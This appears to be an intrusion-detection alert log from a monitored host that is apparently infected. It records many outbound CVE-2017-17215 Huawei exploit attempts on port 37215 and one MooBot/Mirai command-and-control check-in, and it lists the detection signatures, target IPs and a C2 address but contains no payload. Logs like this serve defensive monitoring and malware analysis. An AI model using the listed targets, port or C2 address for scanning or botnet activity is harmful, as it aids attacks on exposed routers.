ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.102.57

Timestamp:	2024-08-06T08:33:19.265820+0200
SID:	2835222
Source Port:	40758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.87.115.224

Timestamp:	2024-08-06T08:33:19.232177+0200
SID:	2835222
Source Port:	35064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.254.171

Timestamp:	2024-08-06T08:33:19.308971+0200
SID:	2835222
Source Port:	35508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.67.118

Timestamp:	2024-08-06T08:33:19.270041+0200
SID:	2835222
Source Port:	33710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.159.84.59

Timestamp:	2024-08-06T08:33:19.286841+0200
SID:	2835222
Source Port:	46870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.194.34.222

Timestamp:	2024-08-06T08:33:19.349738+0200
SID:	2835222
Source Port:	48858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.246.176.160

Timestamp:	2024-08-06T08:33:19.289825+0200
SID:	2835222
Source Port:	53790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.129.185.157

Timestamp:	2024-08-06T08:33:20.946036+0200
SID:	2835222
Source Port:	49030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.210.226.180

Timestamp:	2024-08-06T08:33:19.290426+0200
SID:	2835222
Source Port:	47526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.11.49.218

Timestamp:	2024-08-06T08:33:19.253496+0200
SID:	2835222
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.67.128

Timestamp:	2024-08-06T08:33:19.643055+0200
SID:	2835222
Source Port:	42130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.54.86

Timestamp:	2024-08-06T08:33:19.288715+0200
SID:	2835222
Source Port:	45460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.104.216

Timestamp:	2024-08-06T08:33:19.625100+0200
SID:	2835222
Source Port:	57790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.66.166.223

Timestamp:	2024-08-06T08:33:20.930089+0200
SID:	2835222
Source Port:	37102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.48.101.240

Timestamp:	2024-08-06T08:33:19.236568+0200
SID:	2835222
Source Port:	37194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.198.40

Timestamp:	2024-08-06T08:33:19.328413+0200
SID:	2835222
Source Port:	40960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.137.49.124

Timestamp:	2024-08-06T08:33:19.231456+0200
SID:	2835222
Source Port:	44608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.14.153.75

Timestamp:	2024-08-06T08:33:20.942150+0200
SID:	2835222
Source Port:	44654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.57.27.188

Timestamp:	2024-08-06T08:33:19.234186+0200
SID:	2835222
Source Port:	34454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.84.5

Timestamp:	2024-08-06T08:33:20.930048+0200
SID:	2835222
Source Port:	37310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.246.8.105

Timestamp:	2024-08-06T08:33:19.231923+0200
SID:	2835222
Source Port:	37842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.5.65.103

Timestamp:	2024-08-06T08:33:19.298312+0200
SID:	2835222
Source Port:	41024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.198.210

Timestamp:	2024-08-06T08:33:19.607746+0200
SID:	2835222
Source Port:	47636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.97.122.146

Timestamp:	2024-08-06T08:33:19.624247+0200
SID:	2835222
Source Port:	52014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.22.10.251

Timestamp:	2024-08-06T08:33:19.640834+0200
SID:	2835222
Source Port:	47292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.88.39.9

Timestamp:	2024-08-06T08:33:19.642413+0200
SID:	2835222
Source Port:	41446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.206.238

Timestamp:	2024-08-06T08:33:19.658103+0200
SID:	2835222
Source Port:	54398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.21.237.243

Timestamp:	2024-08-06T08:33:19.300489+0200
SID:	2835222
Source Port:	46870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.6.195

Timestamp:	2024-08-06T08:33:19.315753+0200
SID:	2835222
Source Port:	43454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.94.83

Timestamp:	2024-08-06T08:33:19.313661+0200
SID:	2835222
Source Port:	37426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.32.123.200

Timestamp:	2024-08-06T08:33:19.268938+0200
SID:	2835222
Source Port:	44332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.136.119

Timestamp:	2024-08-06T08:33:19.657549+0200
SID:	2835222
Source Port:	41892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.141.87.250

Timestamp:	2024-08-06T08:33:20.942023+0200
SID:	2835222
Source Port:	33402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.182.131.25

Timestamp:	2024-08-06T08:33:19.299806+0200
SID:	2835222
Source Port:	56346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.3.220

Timestamp:	2024-08-06T08:33:19.608130+0200
SID:	2835222
Source Port:	33614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.2.154

Timestamp:	2024-08-06T08:33:20.930047+0200
SID:	2835222
Source Port:	48322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.71.189.165

Timestamp:	2024-08-06T08:33:04.883845+0200
SID:	2835222
Source Port:	41958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.211.148

Timestamp:	2024-08-06T08:33:20.942066+0200
SID:	2835222
Source Port:	34308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.119.21.203

Timestamp:	2024-08-06T08:33:19.297753+0200
SID:	2835222
Source Port:	49670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.176.4.128

Timestamp:	2024-08-06T08:33:19.608436+0200
SID:	2835222
Source Port:	34588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.232.20.55

Timestamp:	2024-08-06T08:33:19.290770+0200
SID:	2835222
Source Port:	35976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.33.164

Timestamp:	2024-08-06T08:33:20.930124+0200
SID:	2835222
Source Port:	47350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.230.172.248

Timestamp:	2024-08-06T08:33:20.938065+0200
SID:	2835222
Source Port:	35848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.119.156.11

Timestamp:	2024-08-06T08:33:17.814290+0200
SID:	2835222
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.124.149.222

Timestamp:	2024-08-06T08:33:20.942148+0200
SID:	2835222
Source Port:	43660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.96.163

Timestamp:	2024-08-06T08:33:19.314596+0200
SID:	2835222
Source Port:	53354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.72.177

Timestamp:	2024-08-06T08:33:20.942020+0200
SID:	2835222
Source Port:	46680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.10.193

Timestamp:	2024-08-06T08:33:19.297667+0200
SID:	2835222
Source Port:	58000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.159.34

Timestamp:	2024-08-06T08:33:20.942147+0200
SID:	2835222
Source Port:	53380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.142.161.8

Timestamp:	2024-08-06T08:33:19.249016+0200
SID:	2835222
Source Port:	42704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.87.232.236

Timestamp:	2024-08-06T08:33:20.942019+0200
SID:	2835222
Source Port:	54674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.206.32

Timestamp:	2024-08-06T08:33:19.328112+0200
SID:	2835222
Source Port:	45850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.161.94.107

Timestamp:	2024-08-06T08:33:17.818160+0200
SID:	2835222
Source Port:	54652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.13.230.44

Timestamp:	2024-08-06T08:33:20.946070+0200
SID:	2835222
Source Port:	59100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.255.60.96

Timestamp:	2024-08-06T08:33:19.216311+0200
SID:	2835222
Source Port:	44750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.67.231.248

Timestamp:	2024-08-06T08:33:17.822168+0200
SID:	2835222
Source Port:	54430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.99.255.71

Timestamp:	2024-08-06T08:33:19.642035+0200
SID:	2835222
Source Port:	41682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.230.218.254

Timestamp:	2024-08-06T08:33:14.200151+0200
SID:	2835222
Source Port:	33746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.157.185

Timestamp:	2024-08-06T08:33:19.218230+0200
SID:	2835222
Source Port:	39840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.133.116

Timestamp:	2024-08-06T08:33:21.298317+0200
SID:	2835222
Source Port:	38088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.202.174.153

Timestamp:	2024-08-06T08:33:19.605534+0200
SID:	2835222
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.166.211.169

Timestamp:	2024-08-06T08:33:19.234434+0200
SID:	2835222
Source Port:	55410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.26.104

Timestamp:	2024-08-06T08:33:19.286846+0200
SID:	2835222
Source Port:	40264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.127.19

Timestamp:	2024-08-06T08:33:19.272352+0200
SID:	2835222
Source Port:	43460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.7.129

Timestamp:	2024-08-06T08:33:19.237044+0200
SID:	2835222
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.101.39

Timestamp:	2024-08-06T08:33:20.946071+0200
SID:	2835222
Source Port:	46172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.113.78.247

Timestamp:	2024-08-06T08:33:20.938066+0200
SID:	2835222
Source Port:	33932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.22.189

Timestamp:	2024-08-06T08:33:19.298394+0200
SID:	2835222
Source Port:	37080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.215.249

Timestamp:	2024-08-06T08:33:19.297157+0200
SID:	2835222
Source Port:	56328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.100.123

Timestamp:	2024-08-06T08:33:19.282870+0200
SID:	2835222
Source Port:	54184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.130.36.148

Timestamp:	2024-08-06T08:33:19.637847+0200
SID:	2835222
Source Port:	34172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.48.74

Timestamp:	2024-08-06T08:33:19.605705+0200
SID:	2835222
Source Port:	43414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.134.51.115

Timestamp:	2024-08-06T08:33:19.253501+0200
SID:	2835222
Source Port:	49708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.161.239.9

Timestamp:	2024-08-06T08:33:19.622589+0200
SID:	2835222
Source Port:	59852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.78.192

Timestamp:	2024-08-06T08:33:19.308469+0200
SID:	2835222
Source Port:	39540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.25.36.107

Timestamp:	2024-08-06T08:33:19.638791+0200
SID:	2835222
Source Port:	37012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.41.102

Timestamp:	2024-08-06T08:33:20.942145+0200
SID:	2835222
Source Port:	44328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.199.180.220

Timestamp:	2024-08-06T08:33:19.249957+0200
SID:	2835222
Source Port:	33946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.116.206

Timestamp:	2024-08-06T08:33:17.814335+0200
SID:	2835222
Source Port:	55172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.74.133.226

Timestamp:	2024-08-06T08:33:17.822170+0200
SID:	2835222
Source Port:	55166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.106.36.243

Timestamp:	2024-08-06T08:33:19.282703+0200
SID:	2835222
Source Port:	41462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.31.137.85

Timestamp:	2024-08-06T08:33:19.299631+0200
SID:	2835222
Source Port:	43274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.76.104.186

Timestamp:	2024-08-06T08:33:17.814293+0200
SID:	2835222
Source Port:	54346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.31.218.172

Timestamp:	2024-08-06T08:33:19.627754+0200
SID:	2835222
Source Port:	51634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.216.53

Timestamp:	2024-08-06T08:33:19.349221+0200
SID:	2835222
Source Port:	57564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 154.216.17.9

Timestamp:	2024-08-06T08:33:20.717322+0200
SID:	2030490
Source Port:	53710
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.110.10.44

Timestamp:	2024-08-06T08:33:20.942102+0200
SID:	2835222
Source Port:	35246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.12.226.29

Timestamp:	2024-08-06T08:33:17.818155+0200
SID:	2835222
Source Port:	34332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.244.62

Timestamp:	2024-08-06T08:33:17.814334+0200
SID:	2835222
Source Port:	48512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.116.99.16

Timestamp:	2024-08-06T08:33:19.300783+0200
SID:	2835222
Source Port:	39440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.158.224

Timestamp:	2024-08-06T08:33:17.814291+0200
SID:	2835222
Source Port:	57726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.79.247

Timestamp:	2024-08-06T08:33:19.266457+0200
SID:	2835222
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.72.232

Timestamp:	2024-08-06T08:33:19.623612+0200
SID:	2835222
Source Port:	44420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.44.71

Timestamp:	2024-08-06T08:33:19.639302+0200
SID:	2835222
Source Port:	56982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.218.132.128

Timestamp:	2024-08-06T08:33:20.930128+0200
SID:	2835222
Source Port:	42958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.65.44.253

Timestamp:	2024-08-06T08:33:19.313100+0200
SID:	2835222
Source Port:	40780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.109.18

Timestamp:	2024-08-06T08:33:19.641266+0200
SID:	2835222
Source Port:	52120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.65.126

Timestamp:	2024-08-06T08:33:19.640967+0200
SID:	2835222
Source Port:	37202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.234.152.134

Timestamp:	2024-08-06T08:32:59.951519+0200
SID:	2835222
Source Port:	43042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

